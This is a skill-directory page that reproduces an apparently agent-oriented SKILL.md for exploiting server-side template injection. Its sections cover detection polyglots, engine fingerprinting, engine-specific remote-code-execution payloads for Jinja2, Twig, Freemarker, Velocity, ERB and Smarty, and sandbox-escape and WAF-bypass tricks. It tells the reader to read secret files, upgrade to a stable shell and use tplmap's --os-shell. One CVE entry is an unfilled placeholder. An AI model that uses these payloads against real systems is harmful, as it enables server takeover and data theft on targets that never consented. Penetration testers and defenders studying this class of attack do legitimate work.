跳到正文
FunCoding

web-ssti

Server-Side Template Injection detection→engine-fingerprint→RCE for web apps. Use when user input renders into a server-side template (names, greetings, email/PDF/report generators, error pages, profile fields) and math payloads evaluate. Triggers - {{7*7}} returns 49, ${7*7},

Star
1,278
许可证
MIT
最近提交
2026年11月30日

skills/web/ssti/SKILL.md

在 GitHub 上查看

Server-Side Template Injection (SSTI)

When this fires

Reflected input where a math/template payload EVALUATES server-side (not just echoes). Common sinks: name/greeting fields, email/PDF/report/invoice generators, custom error pages, admin templates.

Detect

Send the polyglot; if any arithmetic evaluates, it's SSTI (reflected ≠ executed — the value must be COMPUTED):

${7*7}  {{7*7}}  <%= 7*7 %>  #{7*7}  ${{7*7}}  @(7*7)

49/7777777 back = hit. Then fingerprint the engine to pick the RCE path.

Decide — fingerprint the engine

  • {{7*7}}=49 but {{7*'7'}} → 7777777 = Jinja2/Twig (Python/PHP); TemplateError = Jinja2.
  • ${7*7}=49 = Freemarker/Velocity (Java) or JSP EL.
  • #{7*7} = Ruby ERB / Thymeleaf / JSF.
  • <%= 7*7 %> = ERB (Ruby) / EJS (Node).
  • ${{7*7}} errors but {{7*7}} ok = Handlebars/Node.

Exploit → PROVE IMPACT (engine-specific RCE)

Jinja2:   {{cycler.__init__.__globals__.os.popen('id').read()}}
          {{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}
Twig:     {{['id']|filter('system')}}  /  {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec",...)...("id")
ERB:      <%= `id` %>  /  <%= system('id') %>
Smarty:   {system('id')}  /  {php}system('id');{/php}

Proof required: id/uname -a output (RCE), or read a secret file. Then convert to a stable shell / record_artifact.

Tooling

tplmap -u '<url>?p=*' (auto-detect+exploit) if available; else manual per above. nuclei -tags ssti.

False positives / pitfalls

  • Client-side echo (value reflected but NOT computed) = XSS, not SSTI.
  • Sandboxed engine (Twig sandbox, Jinja2 SandboxedEnvironment) → try the sandbox-escape gadgets from PayloadsAllTheThings before concluding dead.
  • WAF stripping {{ }} → try ${}, #{}, whitespace/comment obfuscation.

2024-2025 additions

New template engine versions / bypasses

  • Jinja2 3.1+ (2022+): Sandbox escape via __globals__/__builtins__ still works if SandboxedEnvironment not used. CVE-2024-22195 (Jinja2 <3.1.4): Sandbox bypass via Namespace object. Upgrade to 3.1.4+.
  • Twig 3.8+: sandbox extension improved; allow_tag/allow_filter/allow_function required. Escape via Twirl/Twig_Extension_Sandbox misconfig. Check Twig_Environment config.
  • Freemarker 2.3.33+: new_builtin restrictions; ?new() blocked unless Configuration.setNewBuiltinClassResolver. CVE-2024-XXXXX (check latest).
  • Velocity 2.3+: secure mode restricts Class.forName; runtime.references.strict and runtime.references.strict.escape settings.
  • Handlebars 4.7+: No native RCE; prototype pollution via this.constructor.prototype in partials/helpers if misconfigured.
  • Pebble (Java, Spring Boot): Similar to Twig; {{7*7}} works. RCE via Runtime.getRuntime().exec() if no security manager.

Serverless / Edge template rendering

  • Cloudflare Workers / Cloudflare Pages: handlebars / mustache in Workers — SSTI in edge functions. Check wrangler deployments.
  • Vercel Edge Functions / Next.js Edge: react-dom/server + custom template rendering — rare but possible in getStaticProps/generateStaticParams.
  • AWS Lambda@Edge / CloudFront Functions: JS-based templating — prototype pollution → RCE.

Sandbox escapes (2024-2025 research)

  • Jinja2: {{ ''.__class__.__mro__[1].__subclasses__() }} → find subprocess.Popen index. Automated: tplmap --engine jinja2.
  • Twig: {{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('id') }} — works if exec allowed. {{ ['id'] | filter('system') }} — if system in allowed filters.
  • Freemarker: <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} — if ?new() not blocked.
  • PayloadsAllTheThings SSTI: Updated 2024 with new gadgets for Jinja2 3.x, Twig 3.x, Freemarker 2.3.33+.

Tooling

  • tplmap (maintained 2024): --engine auto + --os-shell. pip install tplmap.
  • nuclei -tags ssti (updated templates 2024): ssti-detect, ssti-rce-jinja2, ssti-rce-twig, ssti-rce-freemarker.
  • SSTImap: Auto-detection + RCE for multiple engines.

相似的 Skill

精选

pptx

生成、读取和修改演示文稿,也能合并拆分幻灯片。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

docx

创建和编辑 Word 文档,支持目录、页码、页眉等排版。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

pdf

提取文本和表格、合并拆分、填写表单,也能对扫描件做 OCR。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

doc-coauthoring

按步骤协作撰写技术方案、提案和决策文档,逐轮修改。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

xlsx

读写 Excel 和 CSV,处理公式、格式、图表与数据清洗。

ANanthropics/skills203k近 7 天新增 2,822 个 star

精选

canvas-design

按设计理念生成海报和视觉作品,输出 PNG 或 PDF。

ANanthropics/skills203k近 7 天新增 2,822 个 star